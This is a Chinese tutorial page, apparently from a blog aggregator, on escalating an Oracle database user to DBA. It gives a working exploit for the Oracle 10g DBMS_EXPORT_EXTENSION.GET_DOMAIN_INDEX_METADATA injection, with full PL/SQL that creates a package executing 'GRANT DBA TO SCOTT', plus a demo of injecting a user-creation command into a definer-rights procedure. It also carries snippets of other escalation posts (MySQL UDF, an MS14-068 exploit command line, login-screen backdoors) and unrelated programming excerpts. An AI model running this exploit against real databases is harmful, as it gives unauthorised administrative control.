oracle用户获取datameta权限,Oracle数据库提权(低权限提升至dba)

0x01 Oracle存储过程”缺陷”

在 Oracle 的存储过程中,有一个有趣的特点:运行权限。运行权限分为两种,definer 和 invoker。

definer 为函数创建者的权限,而 invoker 则是当前调用函数的用户。运行权限在函数创建时就已经被钦定了,默认为 definer。

说白了,如果我们用低权限用户去运行DBA权限用户创建的存储过程,我们在调用时就可以额访问DBA资源,使用DBA的权限

Oracle 这样做的初衷,实际上是为了用户互相访问资源时,避免用户凭据的问题。当然也可以将函数的权限定义为 invoker,但需要显式设置:

create or replace function Whoami return varchar2

AUTHID CURRENT_USER

begin NULL; end;

因为具有这样的特性,所以当存储过程函数实现存在缺陷时,安全问题就产生了。

比如下面这里新建一个存储过程

create or replace procedure SasugaOracle(msg in varchar2)

as

stmt varchar2(255);

begin

stmt := 'BEGIN DBMS_OUTPUT.PUT_LINE(''' || msg || ''') END;';

EXECUTE IMMEDIATE stmt;

end;

EXECUTE IMMEDIATE 用于动态执行 SQL 语句。首先使用 DBA 用户创建该过程并赋予所有人执行权限:

grant execute on SasugaOracle to public;

接着切换到普通用户,只有 CONNECT 和 RESOURCE 权限,执行存储过程:

6d696be98120c01e30f5604f483bdde0.png

修改一下传入的参数,这里我们在原命令后新增了一条添加数据库用户的命令,这里添加的用户名为latec0mer

35c730315cc99e31724c2f28085423d5.png

然后我们查询一下是否存在latec0mer这个用户,可以看到我们上一条新增的命令是生效的。

2fc079ffa623d99955469611558b5e27.png

类似的,如果 Oracle 的系统函数中存在同样的缺陷,我们便有机会对其加以利用,提升权限,甚至执行系统命令。

0x02Oracle 10g经典提权漏洞

在 Oracle 10g 中, GET_DOMAIN_INDEX_TABLES 函数存在注入漏洞,该函数位于 DBMS_EXPORT_EXTENSION 包中,执行权限隶属于 sys。

用scott/tiger登陆Oracle,scott 是oracle内建用户,权限较低,我们就可以利用执行具有高权限的漏洞函数来达到提升数据库用户权限的目的。

sqlplus scott/tiger@orcl

303ecc01d956a8a167ae56b35b9184d0.png

查询scott的当前角色

select * from session_roles;

fe0235920c48ab3a796a16cd9329114e.png

可以看到scott只有CONNECT和RESOURCE两个权限较低的角色

利用漏洞执行权限提升

Create or REPLACE

PACKAGE HACKERPACKAGE AUTHID CURRENT_USER

IS

FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env

SYS.odcienv)

RETURN NUMBER;

END;

/

bc6ec42b8796a9822034a5205d93f69d.png

Create or REPLACE PACKAGE BODY HACKERPACKAGE

IS

FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env

SYS.odcienv)

RETURN NUMBER

IS

pragma autonomous_transaction;

BEGIN

EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';

COMMIT;

RETURN(1);

END;

END;

/

1d9d63386f8d4272127672b393262d65.png

DECLARE

INDEX_NAME VARCHAR2(200);

INDEX_SCHEMA VARCHAR2(200);

TYPE_NAME VARCHAR2(200);

TYPE_SCHEMA VARCHAR2(200);

VERSION VARCHAR2(200);

NEWBLOCK PLS_INTEGER;

GMFLAGS NUMBER;

v_Return VARCHAR2(200);

BEGIN

INDEX_NAME := 'A1';

INDEX_SCHEMA := 'SCOTT';

TYPE_NAME := 'HACKERPACKAGE';

TYPE_SCHEMA := 'SCOTT';

VERSION := '10.2.0.1.0';

GMFLAGS := 1;

v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME =>

INDEX_NAME,

INDEX_SCHEMA=> INDEX_SCHEMA,

TYPE_NAME => TYPE_NAME,

TYPE_SCHEMA => TYPE_SCHEMA,

VERSION => VERSION,

NEWBLOCK => NEWBLOCK,

GMFLAGS => GMFLAGS);

END;

/

d3ed47d2868ed9bddad6a52cfde68c3e.png

现在我们再来看看权限

2ca2829846e0d0cf945dffc0cda72a88.png

成功从普通用户提权到dba用户。

ps:经测试,oracle10.2.0.4以上版本没这个安全漏洞

08提权 系统文件权限和远程连接IP绕过 安装后门

大家都知道08权限的系统权限设置很严格  面对限制IP连接的情况 我们及时拿到system权限 有账号也上不去这种情况下只能弄shift后门 或者放大镜了  但08权限 在system权限也操作不了系 ...

提权基础-----mysql-udf提权

1.总结关于udf提权方法 通过弱口令,爆破,网站配置文件等方式得到mysql数据库帐号密码,---还要能外连 (1).将udf.dll代码的16进制数声明给my_udf_a变量 set @my_ud ...

[原创]IIS提权工具-VBS提权脚本免杀生成器

[原创]添加系统用户 VBS提权脚本随机加密生成器[K.8] 2011-05-05 02:42:53|  分类: 原创工具 VBS提权脚本随机加密生成器[K.8]  Author: QQ吻 QQ:39 ...

PublicCMS 网站漏洞 任意文件写入并可提权服务器权限

PublicCMS是目前网站系统中第一个采用JAVA架构 TOMCAT+Apcche+Mysql数据库架构的CMS网站,开源,数据承载量大,可以承载到上千万的数据量,以及用户的网站并发可达到上千万的P ...

第三方提权之serv-u提权

文章比较简单,只是做一个科普.给一个好朋友的. 倘若口令更改了大家可以去serv-u的目录(默认路径:C:\Program Files\Serv-U\)找其配置文件(ServUDaemon.ini), ...

[提权]域内提权神器 MS14-068 完整EXP

可以让任何域内用户提升为域管理员     c:\python27\python.exe ms14-068.py -u k8test3@k8.local -p k8team!@# -s S-1-5-2 ...

提权案例(一)渗透某asp.net网站通过sql server数据库public 提权 思路分享

先罗列出sql server 角色用户的权限 按照从最低级别角色(bulkadmin)到最高级别角色(sysadmin)的顺序进行描述:1.bulkadmin:这个角色可以运行BULK INSERT语 ...

kali权限提升之配置不当提权与WCE

kali权限提升之配置不当提权与WCE 1.利用配置不当提权 2.WCE 3.其他提权 一.利用配置不当提权 与漏洞提权相比更常用的方法 在大部分企业环境下,会有相应的补丁更新策略,因此难以通过相应漏 ...

WIN提权总结【本地存档-转载】

[ web提权 ] 1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:\windows\temp\cookies\net1 ...

随机推荐

用php怎么改文件名

php手册:bool rename ( string oldname, string newname [, resource context] )尝试把 oldname 重命名为 newname. 如 ...

Omnithreadlibary学习(2)-IOmniTask异步执行

1.使用 procedure Parallel.Async(task: TProc; taskConfig: IOmniTaskConfig); 匿名委托访问网站 program main; {$AP ...

python进阶1--数据库支持

数据库支持 1.连接和游标 1)connect函数,该函数有多个参数,而具体使用那个参数取决于数据库.--连接数据库 常用参数: dsn:数据源名称 user:用户名 password:用户密码 ho ...

Maximum Sum of Digits(CodeForces 1060B)

Description You are given a positive integer nn. Let S(x) be sum of digits in base 10 representation ...

如何查看oracle用户具有的权限和角色

.查看所有用户: select * from dba_users; select * from all_users; select * from user_users; .查看用户或角色系统权限(直接 ...

017 Spark的运行模式(yarn模式)

1.关于mapreduce on yarn 来提交job的流程 yarn=resourcemanager(RM)+nodemanager(NM) client向RM提交任务 RM向NM分配applic ...

innerWidth outerWidth

在jQuery中: 一.width()方法用于获得元素宽度: 二.innerWidth()方法用于获得包括内边界(padding)的元素宽度; 三.outerWidth()方法用于获得包括内边界(pa ...

c#直接调用ssis包实现Sql Server的数据导入功能

调用ssis包实现Sql Server的数据导入功能网上已经有很多人讨论过,自己参考后也动手实现了一下,上一次笔者的项目中还用了一下这个功能.思前想后,决定还是贴一下增强记忆,高手请54. 1.直接调 ...

node升级后,项目中的node-sass报错的问题

之前可能因为电脑不知道哪抽风了,在npm build的时候进入就卡在入口的地方,启动express的时候也会,所以就重装了一下node 重装node 其实也不是重装,就是使用 where node 查 ...

相机姿态估计(Pose Estimation)

(未完待续.....) 根据针孔相机模型,相机成像平面一点的像素坐标p和该点在世界坐标系下的3D坐标P有$p=KP$的关系,如果用齐次坐标表示则有: $$dp=KP$$ 其中d是空间点深度(为了将p的 ...

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/432842.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

__thread 和 __typeof__关键字

__thread:在多线程变成中,使用于global变量,使每个线程都私有一份。static __thread int count;void *function1(void *argc){printf("porgran pid:%u, the function1 pthread id is %lu, count:%d\n",getpid(), pthread_self(), count);count…

RSA openssl_public_encrypt false

这个问题困扰了我好久,最后发现,原来这个函数只能最大长度为117个字节。如果加密的串超过这个长度,就会返回false。转载于:https://www.cnblogs.com/gpfeisoft/p/3533479.html

linux将文件下载到本地windows,XSHELL下直接下载文件到本地(Windows)

xshell很好用,然后有时候想在windows和linux上传或下载某个文件,其实有个很简单的方法就是rz,sz首先你的Ubuntu需要安装rz.sz(如果没有安装请执行以下命令,安装完的请跳过.其它版本linux请自行安装相应软件)yum install lrzsz安装完毕即可使用rz,sz是便是Linux/Uni…

C++11 标准新特性: 右值引用与转移语义

原文地址 http://www.ibm.com/developerworks/cn/aix/library/1307_lisl_c11/ C 的新标准 C11 已经发布一段时间了。本文介绍了新标准中的一个特性,右值引用和转移语义。这个特性能够使代码更加简洁高效。 新特性的目的 右值引用 (Rvalue Referene) 是 C 新标准 (…

android远程linux命令,测试可用的Android远程语音识别实例

测试可用的Android远程语音识别实例:代码下载在:相关文件下载在Linux公社的1号FTP服务器里,下载地址:用户名:www.linuxidc.com密码:www.muu.cc在 2011年LinuxIDC.com\10月\10月\测试可用的Android远程语音识别实例pack…

C++11 标准新特性: 右值引用与转移语义(点评)

<<C11 标准新特性: 右值引用与转移语义>> 原文地址如下 http://www.ibm.com/developerworks/cn/aix/library/1307_lisl_c11/ 对MyString那个例子来说。 我写了三个测试用例。 1. MyString a; a MyString("Hello"); …

[原创]传递UIScrollView的滑动事件到其子视图中

在开发项目时&#xff0c;遇到了一个问题&#xff1a; 我的UIScrollViewOut中嵌入了一个UIScrollViewIn, 当我想要拖动UIScrollViewIn时,UIScrollViewOut却动了&#xff0c;而UIScrollViewIn没有动。但是只要按住UIScrollViewIn一会再拖动&#xff0c;UIScrollViewIn就可以滑动…

linux内核设计与实现 怎么读,《Linux内核设计与实现》读书笔记(一)

第一次写读书笔记&#xff0c;有什么套路呢&#xff1f;还没来得及去学习。《linux kernel的设计与实现》真的是一本好书&#xff0c;里面的东西解答了很多工作中的疑问。如显示地调用schedule()进行调度&#xff0c;系统调用__syscalln()&#xff0c;一些数据结构函数经常在ke…

C++中正确使用PRId64

nt64_t用来表示64位整数&#xff0c;在32位系统中是long long int&#xff0c;在64位系统中是long int&#xff0c;所以打印int64_t的格式化方法是&#xff1a; [cpp] view plaincopy printf("%ld", value); // 64bit OS printf("%lld", value); // 32bi…

大话细说ORM -----(转)

什么是ORM&#xff1f; ORM&#xff0c;即对象关系映射(Object Relational Mapping)表示一种技术&#xff0c;用来把&#xff08;对象模型&#xff09;表示的对象映射到基于SQL的&#xff08;关系模型&#xff09;数据结构中去。 说得通俗点&#xff0c;就是在对象的属性与关系…

linux中权限的名词解释,Linux的基本权限和特殊权限

基本权限的类别访问方式(权限)&#xff1a;-读写&#xff1a;允许查看内容-read r-写入&#xff1a;允许修改内容-write w-可执行&#xff1a;允许运行和切换-execute x对于文本文件&#xff1a;r&#xff1a;cat head tail lessw&#xff1a;vimx&#xff1a…

乱写

想写点东西&#xff0c;又不知道从何下笔。可是心情又觉得有些许不爽&#xff0c;那就漫无思绪想到哪写哪吧。 昨天加了一个HR的QQ&#xff0c;发了一封简历过去&#xff0c;她说她打开我的简历电脑就蓝屏了&#xff08;无语&#xff09;&#xff0c;这管不着我简历的事吧。然后…

容器set和multiset

一、set和multiset基础 set和multiset会根据特定的排序准则&#xff0c;自动将元素进行排序。不同的是后者允许元素重复而前者不允许。 需要包含头文件&#xff1a; #include <set> set和multiset都是定义在std空间里的类模板&#xff1a; [cpp] view plaincopyprint? t…

linux centos命令语法,linux-centos7

# :-: linux常用的相关查询命令### **1.查看linux用户命令**cat /etc/passwd### **2.查看cpu,mem**grep "model name" /proc/cpuinfo 查看cpu核数cat /proc/cpuinfo 查看cpu详细信息grep MemTotal /proc/meminfo 查看内存总大小以及剩余大小…

oracle rac理解和用途扩展

Oracle RAC的优势在于利用多个节点&#xff08;数据库实例&#xff09;组成一个数据库&#xff0c;这样在保证了数据库高可用性的情况下更充分的利用了多个主机的性能&#xff0c;而且可以通过增加节点进行性能的扩展。实现Oracle RAC需要解决的关键问题就是多节点进行数据访问…

std::set作为一个有序集合

摘要&#xff1a;std::set作为标准库的一个关联容器&#xff0c;实现内部元素进行了排序&#xff0c;使用这特性可以对一组元素进行插入排序。std::set最初的设计是完成数学中“集合”的概念&#xff0c;它提供的接口也是如此。本文简单地介绍一下这一个标准库容器。 为了使用s…

linux查看某进程的连接,linux下查看指定进程的所有连接信息(转)

定位某个进程的网络故障时经常需要用到的一个功能就是查找所有连接的信息。通常查找某个端口的连接信息使用 ss 或者 netstat 可以轻松拿到&#xff0c;如果是主动与别的机器建立的连接信息则可以通过 lsof 命令来获得。例如我想要查看进程 frps 当前的所有连接信息&#xff0c…

SQLite多线程使用总结

SQLite支持3种线程模式&#xff1a;单线程&#xff1a;这种模式下&#xff0c;没有进行互斥&#xff0c;多线程使用不安全。禁用所有的mutex锁&#xff0c;并发使用时会出错。当SQLite编译时加了SQLITE_THREADSAFE0参数&#xff0c;或者在初始化SQLite前调用sqlite3_config(SQL…

linux rom打包工具,Android rom解包打包工具

eMMC主要是针对手机和平板电脑等产品的内嵌式存储器&#xff0c;由于其在封装中集成了一个控制器&#xff0c;且提供标准接口并管理闪存等优势&#xff0c;越来越受到Android手机厂商的青睐&#xff0c;以eMMC为存储设备的android手机&#xff0c;其文件系统(system、data分区)…

winform(C#)透明方法

1.设置窗体opacity属性&#xff1a; 2.窗体的BackColor和TransparencyKey属性设置相同的值&#xff1a; 2.加using System.Runtime.InteropServices;引用然后加上以下代码&#xff1a; [StructLayout(LayoutKind.Sequential)]public struct MARGINS{public int Left;public int…